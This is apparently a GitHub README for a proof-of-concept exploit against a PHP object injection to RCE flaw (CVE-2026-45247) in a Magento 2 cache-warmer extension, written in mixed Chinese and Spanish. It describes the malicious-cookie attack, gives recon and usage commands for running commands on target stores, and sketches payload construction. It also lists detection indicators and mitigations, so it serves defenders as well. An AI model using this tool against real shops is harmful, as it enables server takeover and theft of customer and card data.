fevar54/PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-
GitHub: fevar54/PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-
针对 Magento 2 Mirasvit Cache Warmer 扩展 PHP 反序列化导致 RCE 漏洞(CVE-2026-45247)的概念验证利用工具。
Stars: 0 | Forks: 0
# CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2 - PHP Object Injection → RCE
[](https://nvd.nist.gov/vuln/detail/CVE-2026-45247)
[-red)](https://www.first.org/cvss/calculator/3.1)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## 📋 描述
**CVE-2026-45247** 是存在于 Magento 2 和 Adobe Commerce 扩展 **Mirasvit Full Page Cache Warmer** 中的一个严重的 **PHP Object Injection** 漏洞。未经身份验证的攻击者可以通过在 `CacheWarmer` cookie 中发送经过篡改的序列化 PHP 对象来实现 **远程代码执行 (RCE)**。
该漏洞的根源在于不受限制地调用了 PHP 原生的 `unserialize()` 函数,并结合了 Magento 及其依赖项(尤其是 Monolog)中可用的 gadget chain。
| 属性 | 值 |
|---|---|
| **CVE** | CVE-2026-45247 |
| **产品** | Mirasvit Full Page Cache Warmer for Magento 2 |
| **受影响版本** | 所有 **早于 1.11.12** 的版本 |
| **可用补丁** | 版本 1.11.12(2026 年 5 月 25 日) |
| **CVSS Score** | 9.8(严重) |
| **向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **CISA KEV 状态** | 已确认被积极利用(于 2026 年 6 月 3 日添加) |
| **截止日期** | 2026 年 6 月 6 日 |
## 🚨 攻击机制
1. 该扩展会处理**每次商店请求**中的 `CacheWarmer` cookie
2. cookie 的值在未经任何清理的情况下被传递给 `unserialize()`
3. 攻击者发送一个恶意的序列化 PHP 对象
4. 利用 Monolog(`SyslogUdpHandler`、`BufferHandler`、`FingersCrossedHandler`)的 gadget chain,实现 RCE
5. 命令以 Web 服务的权限在服务器上执行
## ⚙️ 攻击阶段
### 阶段 1:侦察
```
# 检查商店是否使用 Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
Fase 2: Análisis de Vulnerabilidad
python
# 该 cookie 在每次未经身份验证的 request 中被处理
# Mirasvit 中的漏洞代码:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # ¡Peligro!
Fase 3: Ejecución del Exploit
python
# 构建恶意 cookie
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# 发送请求
requests.get(target, cookies={'CacheWarmer': cookie_value})
🛠️ Uso del PoC
Instalación
bash
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
Ejecución Básica
bash
# 验证漏洞
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only
# 执行命令 'id'
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
# 执行自定义命令
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"
# 使用 proxy 进行调试
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
Script Rápido
bash
# 使用 bash script 验证
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
📊 Impacto Demostrado
Ejecución remota de comandos (RCE) en el servidor Magento
Acceso completo a la base de datos de clientes y pedidos
Instalación de webshells para persistencia
Compromiso total de la tienda en línea
Potencial filtración de datos de tarjetas de crédito
Movimiento lateral en la infraestructura corporativa
🛡️ Detección
Indicadores de Compromiso (IOCs)
En logs de acceso:
text
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
Comandos observados en explotación:
bash
echo PWNED_CVE2026_$(date +%s)
sleep 5
Gadget chains utilizadas:
Monolog\Handler\SyslogUdpHandler
Monolog\Handler\BufferHandler
Monolog\Handler\FingersCrossedHandler
Monolog\Handler\GroupHandler
🔧 Mitigación
Actualización Inmediata
bash
# 更新到已修补版本
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
Mitigaciones Temporales
nginx
# 在 .htaccess 或 nginx 中拦截 CacheWarmer cookie
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
php
// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}
```
标签:CVE, Go语言工具, PHP对象注入, RCE, Web安全, 应用安全, 数字签名, 蓝队分析, 逆向工具